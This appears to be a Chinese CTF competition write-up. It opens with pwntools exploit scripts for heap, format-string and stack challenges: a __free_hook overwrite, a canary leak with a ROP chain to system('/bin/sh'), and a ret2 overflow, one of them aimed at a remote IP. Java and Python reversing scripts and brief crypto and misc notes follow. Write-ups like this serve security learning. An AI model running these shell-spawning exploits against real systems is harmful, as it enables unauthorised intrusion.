edit(1, b"A"*0x220+p64(libc.symbols["__free_hook"]))

add(0x28) #2
add(0x28) #3
edit(2, "/bin/sh\x00")
edit(3, p64(libc.symbols["system"]))
delete(2)
getshell()

pwnpwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# p = process("./pwnpwn")
p = remote('124.71.156.217', 49153)
elf = ELF("./pwnpwn")
libc = ELF("libc-2.23.so")
bin_sh_addr = 0x202010
pop_rdi_ret = 0x0000000000000b83

def main():
p.sendline(b"1")
p.recvuntil(b"0x")
elf.base = int(p.recvuntil(b"\n", drop=True), 16) - 0x9B9
log.info("elf.base ======> 0x%x"%elf.base)

# gdb.attach(p, "b *0x5555555549F6\n")
p.sendline(b"2")
payload = b"abcd%21$p"
p.sendlineafter(b"hello", payload)
p.recvuntil(b"abcd")
canary = int(p.recvuntil(b"\n", drop=True), 16)
log.info("cananry =======> 0x%x"%canary)

# pause()
# p.sendline(b"2")
payload = b"a" * 0x68 + p64(canary) + p64(0xdeadbeef) + p64(elf.base + 0xa2c) + p64(elf.base + pop_rdi_ret) + p64(elf.base + bin_sh_addr) + p64(elf.base + elf.plt['system'])
p.sendline(payload)
# p.sendlineafter("", payload)
p.interactive()

if __name__ == "__main__":
main()

sonic

1
2
3
4
5
6
7
8
def exp():
recvu("main Address=")
elf_base = int(recvu("\n"),16) - 0x7cf
from mypwn import elf
elf.address = elf_base
print(hex(elf_base))
sendla("login", b"A"*0x28+p64(elf_base+0x73a))
getshell()

Mobile

HaHaHaHa

  • 程序逻辑
    1. 初始化的时候对 algflag 和加密的 keys 都进行了变换
    2. 8 个输入,每个输入长度为 8 的 string,经过转化为 4 btyes
    3. 每组分别计算 hash,提取 4 个 bytes 的最高位作为选择算法的 algflag(查看最后的 check 算法可以看出来这个 algflag 是固定的)剩下的数据用于计算
    4. 将 hash 结果与 cipher 比较

写个同样算法的 java 程序挨个进行爆破就行了,题目提示了没有小写字母。最后注意某些情况需要调整端序

HmacSha512 部分爆破代码,对于其他算法都是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import java.security.MessageDigest;
import java.math.BigInteger;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;

public class a {
/* 第一个Java程序
* 它将输出字符串 Hello World
*/
public static byte[][] keys;
public static int[] mask;
public static String[] cipher;
public static String checksum(int mask, int idx) {
int cmd = mask & 7;
if((mask >>> 3 & 1) == 1) {
byte [] data = new byte[4];
for (int i=0x20; i<0x80; i++){
if (i == 0x61){
i = 0x7a;
continue;
}
for (int j=0x20; j<0x80; j++){
if (j == 0x61){
j = 0x7a;
continue;
}
for (int m=0x20; m<0x80; m++){
if (m == 0x61){
m = 0x7a;
continue;
}
for (int n=0x20; n<0x80; n++){
if (n == 0x61){
n = 0x7a;
continue;
}
data[0]=(byte)i;
data[1]=(byte)j;
data[2]=(byte)m;
data[3]=(byte)n;
try {
SecretKeySpec v1 = new SecretKeySpec(a.keys[cmd], "HmacSha512");
Mac v3 = Mac.getInstance("HmacSha512");
v3.init(v1);
v3.update(data);
String v2_1;
for(v2_1 = new BigInteger(1, v3.doFinal()).toString(16); v2_1.length() < 0x20; v2_1 = "0" + v2_1) {
}
v2_1 = v2_1.substring(0, 16);
if (v2_1.equals(a.cipher[idx])){
System.out.printf("%d %d %d %d", data[0], data[1], data[2], data[3]);
return new String(data);
}
}
catch(NoSuchAlgorithmException | InvalidKeyException v2) {
v2.printStackTrace();
return null;
}
}
}
}
}
}
else{
switch (cmd) {
default:
break;
}
}
String a = "Not Found";
return a;
}

public static void main(String[] args) {
a.keys = new byte[][]{"WIgD1ZNZ0ilJqFpw".getBytes(), "4811tjOZjoiXpjdq".getBytes(), "ALFjcgztxnUaC89v".getBytes(), "ZgHzTu79Zwhoi0PB".getBytes(), "UYBfajKYrDFE1zJs".getBytes(), "yr4PBIjlJg89FpP3".getBytes(), "SFHqaTYDf7EeEevX".getBytes(), "gUwrqaE3nCxKr4Du".getBytes()};
a.mask = new int[]{0xAF, 0xA1, 0xA4, 170, 0xA5, 0xAE, 0xA0, 0xA3};
a.cipher = new String[]{"fc7466e55fbf37b1", "78b0be39e63b6837", "c2f9c805d0442203", "c11a61bb60d79dab", "869e650ee55bd9f6", "f2dda5fc021fe2bf", "305044db48fe6174", "d6659b5e2d1059f8"};
int v0;
for(v0 = 0; true; ++v0) {
int[] v1 = a.mask;
if(v0 >= v1.length) {
break;
}

v1[v0] ^= 0xAB;
}
int v4 = 0;
while(v4 < a.keys.length) {
MessageDigest v0_1 = null;
try {
v0_1 = MessageDigest.getInstance("MD5");
}
catch(NoSuchAlgorithmException v1_1) {
v1_1.printStackTrace();
}

v0_1.update(a.keys[v4]);
a.keys[v4] = v0_1.digest();
++v4;
}

int i;
for (i=0; i<8; i++){
if (i==0 || i==3 || i==5) continue;
System.out.printf("%d\\n", a.mask[i]&7);
String res = checksum(a.mask[i], i);
System.out.println(res);
}

System.out.println("Hello World"); // 输出 Hello World
}
}

StudyDesk

  • 程序逻辑
    1. 输入经过 index_of 来生成关于 index 的 01 串
    2. 将 01 串转化为 bytes 数组
    3. 最后与一个算法的结果进行比较,算法不涉及 input,直接 copy 到 java 里面跑出来

然后写个脚本逆推即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cipher = [0x73, 0x6F, 43, 0x72, 0x74, 45, 0x30, 36, 84, 98, 89, 36, 38, 66, 38, 43, 84, 0x79, 50, 101, 101, 43, 100, 87, 69, 0x6F, 51, 66, 89, 49, 69, 51, 101, 51, 53, 0x74, 45, 98, 98, 0x72, 50, 36, 98, 50, 85, 85, 85, 107, 66, 36, 53, 51, 0x6F, 0x72, 89, 89, 66, 50, 33, 66, 0x5F, 66, 101, 0x79, 0x5F, 0x40, 33, 66, 50, 0x40, 85, 85, 45, 43, 36, 50, 0x74, 0x30, 85, 0x73, 0x5F, 0x40, 49, 0x72, 50, 101, 101, 51, 51, 43, 53, 51, 53, 51, 85, 50, 0x40, 0x79, 53, 36, 0x40, 69, 89, 98, 45, 0x6F, 101, 36, 97, 66, 100, 0x30, 0x73, 97, 0x30, 36, 0x6F, 101, 50, 0x5F, 49, 0x30, 0x40, 89, 0x74, 85, 0x30, 85, 0x73, 89, 43, 89, 97, 0x30, 89, 0x72, 97, 100, 38, 50, 0x74, 51, 98, 0x75, 0x5F, 50, 0x74, 0x73, 0x6F, 84, 98, 89, 69, 0x6F, 100, 0x30, 0x6F, 98, 89, 0x72, 0x40, 50, 36, 66, 89, 101, 0x72, 51, 84, 51, 50, 36, 38, 0x40, 0x30, 53, 51, 0x30, 49, 97, 0x74, 89, 101, 85, 97, 66, 84, 97, 45, 43, 100, 89, 45, 0x30, 0x73, 0x30, 0x40, 97, 100, 98, 51, 100, 0x6F, 0x73, 50, 53, 101, 66, 101, 0x6F, 0x75, 50, 45, 0x5F, 51, 82, 50, 89, 87, 101, 50, 89, 0x30, 89, 101, 43, 89, 36, 38, 61, 101, 0x40, 84, 89, 0x5F, 66, 0x74, 49, 0x40, 87, 97, 43, 0x5F, 0x73, 43, 0x30, 89, 45, 84, 89, 33, 89, 107, 53, 85, 0x30, 98, 98, 0x5F, 50, 107, 66, 101, 0x6F, 51, 97, 33, 66, 97, 0x75, 51, 0x74, 51, 97, 0x40, 89, 107, 98, 51, 69, 0x40, 73, 0x5F, 0x30, 85, 0x74, 0x30, 97]
havoc = [33, 36, 38, 43, 45, 48, 49, 50, 51, 53, 61, 64, 66, 69, 73, 82, 84, 85, 87, 89, 95, 97, 98, 100, 101, 107, 111, 114, 115, 116, 117, 121]

text = "314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848111745028410270193852110555964462294895493038196442881097566593344612847564823378678316527120190914564856692346034861045432664821339360726024914127372458700660631558817488152092096282925409171536436789259036"
k_text = ""
for i in range(0, len(text), 2):
n = int(text[i:i+2])
k_text += "{0:08b}".format(n)
print(k_text)
print(len(k_text))
print(len(cipher))
idxx = []
for i in range(0, len(k_text), 5):
idx = int(k_text[i:i+5], 2)
idxx.append(idx)
print(idxx)
flag = [0]*32
for i in range(len(cipher)):
flag[idxx[i]] = cipher[i]

print(bytes(flag))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import java.io.ByteArrayOutputStream;
import java.math.BigDecimal;
import java.math.MathContext;
import java.math.RoundingMode;
public class a {
/* 第一个Java程序
* 它将输出字符串 Hello World
*/
public static byte[] harvoc;

public static BigDecimal math_op(BigDecimal arg3, MathContext arg4) {
BigDecimal v1;
BigDecimal v0;
for(v0 = arg3; true; v0 = v1) {
v1 = new BigDecimal("0.5").multiply(v0.add(arg3.divide(v0, arg4), arg4), arg4);
if(v1.compareTo(v0) == 0) { // v1 = 0.5*(v0+(a1/v0))
return v1;
}
}
}
public static void a(){
BigDecimal v2_1 = new BigDecimal("1");
BigDecimal v2_2 = new BigDecimal("0");
BigDecimal v2_3 = new BigDecimal("6");
MathContext mathCon1 = new MathContext(360, RoundingMode.HALF_UP);
MathContext mathCon2 = new MathContext(720, RoundingMode.HALF_UP);
int i = 0;
BigDecimal v10;
while(true) {
v2_1 = a.math_op(new BigDecimal("2").subtract(a.math_op(new BigDecimal(4).subtract(v2_1.multiply(v2_1, mathCon2), mathCon2), mathCon2)), mathCon2);
v2_3 = new BigDecimal("2").multiply(v2_3, mathCon1);
v10 = new BigDecimal("0.5").multiply(v2_1.multiply(v2_3, mathCon1), mathCon1);
if(v10.compareTo(v2_2) == 0) {
break;
}

++i;
if(i % 30 == 0) {
StringBuilder v0 = new StringBuilder();
StringBuilder t = v0.append("running");
t.append(i / 6);
t.append("%");
System.out.println("StudyDesk:"+t.toString());
}

v2_2 = v10;
}

System.out.println("StudyDesk:"+"running: 100%");
String v2_5 = v10.toString().replace(".", "");
System.out.println(v2_5);
System.out.println("Hello World"); // 输出 Hello World
}
public static void b(){
int v0_4;
BigDecimal v10;
byte[] input_array;
String input = "!$&+-01235=@BEIRTUWY_abdekorstuy";
if(input.length() == 0x20) {
byte[] harvoc = a.harvoc;
ByteArrayOutputStream v3 = new ByteArrayOutputStream();
StringBuilder v4 = new StringBuilder();
int v6 = 0;
while(v6 < harvoc.length) {
int idx = input.indexOf(harvoc[v6]);
if(idx == -1) {
input_array = null;
return;
}
String t = Integer.toBinaryString((idx & 0x3F) + 0x20).substring(1);
System.out.println(t);
v4.append(Integer.toBinaryString((idx & 0x3F) + 0x20).substring(1));
++v6;
}

int i;
for(i = 0; i < (40 - v4.length() % 40) % 40; ++i) {
v4.append('0');
}

String v0_3 = v4.toString();
int v2;
int v4_1;
for(v2 = 0; v2 < v0_3.length(); v2 = v4_1) {
v4_1 = v2 + 8;
v3.write(((byte)(Integer.parseInt(v0_3.substring(v2, v4_1), 2) & 0xFF)));
}
input_array = v3.toByteArray();
}
}
public static void main(String[] args) {
a.harvoc = new byte[]{0x73, 0x6F, 43, 0x72, 0x74, 45, 0x30, 36, 84, 98, 89, 36, 38, 66, 38, 43, 84, 0x79, 50, 101, 101, 43, 100, 87, 69, 0x6F, 51, 66, 89, 49, 69, 51, 101, 51, 53, 0x74, 45, 98, 98, 0x72, 50, 36, 98, 50, 85, 85, 85, 107, 66, 36, 53, 51, 0x6F, 0x72, 89, 89, 66, 50, 33, 66, 0x5F, 66, 101, 0x79, 0x5F, 0x40, 33, 66, 50, 0x40, 85, 85, 45, 43, 36, 50, 0x74, 0x30, 85, 0x73, 0x5F, 0x40, 49, 0x72, 50, 101, 101, 51, 51, 43, 53, 51, 53, 51, 85, 50, 0x40, 0x79, 53, 36, 0x40, 69, 89, 98, 45, 0x6F, 101, 36, 97, 66, 100, 0x30, 0x73, 97, 0x30, 36, 0x6F, 101, 50, 0x5F, 49, 0x30, 0x40, 89, 0x74, 85, 0x30, 85, 0x73, 89, 43, 89, 97, 0x30, 89, 0x72, 97, 100, 38, 50, 0x74, 51, 98, 0x75, 0x5F, 50, 0x74, 0x73, 0x6F, 84, 98, 89, 69, 0x6F, 100, 0x30, 0x6F, 98, 89, 0x72, 0x40, 50, 36, 66, 89, 101, 0x72, 51, 84, 51, 50, 36, 38, 0x40, 0x30, 53, 51, 0x30, 49, 97, 0x74, 89, 101, 85, 97, 66, 84, 97, 45, 43, 100, 89, 45, 0x30, 0x73, 0x30, 0x40, 97, 100, 98, 51, 100, 0x6F, 0x73, 50, 53, 101, 66, 101, 0x6F, 0x75, 50, 45, 0x5F, 51, 82, 50, 89, 87, 101, 50, 89, 0x30, 89, 101, 43, 89, 36, 38, 61, 101, 0x40, 84, 89, 0x5F, 66, 0x74, 49, 0x40, 87, 97, 43, 0x5F, 0x73, 43, 0x30, 89, 45, 84, 89, 33, 89, 107, 53, 85, 0x30, 98, 98, 0x5F, 50, 107, 66, 101, 0x6F, 51, 97, 33, 66, 97, 0x75, 51, 0x74, 51, 97, 0x40, 89, 107, 98, 51, 69, 0x40, 73, 0x5F, 0x30, 85, 0x74, 0x30, 97};
b();
}
}

FamilyBucket

未解出

Good

未解出

Crypto

拟态签到题

base64 点击即送

其余未解出

Misc

BlueWhale

从流量包中可以得到登录 OpenWrt 的密码,和 inside.zippassword.txtCRC 结果相同

从而可以通过明文攻击得到压缩包密码

最后在解压得到的图片中可以提取 LSB 中的 flag

其余未解出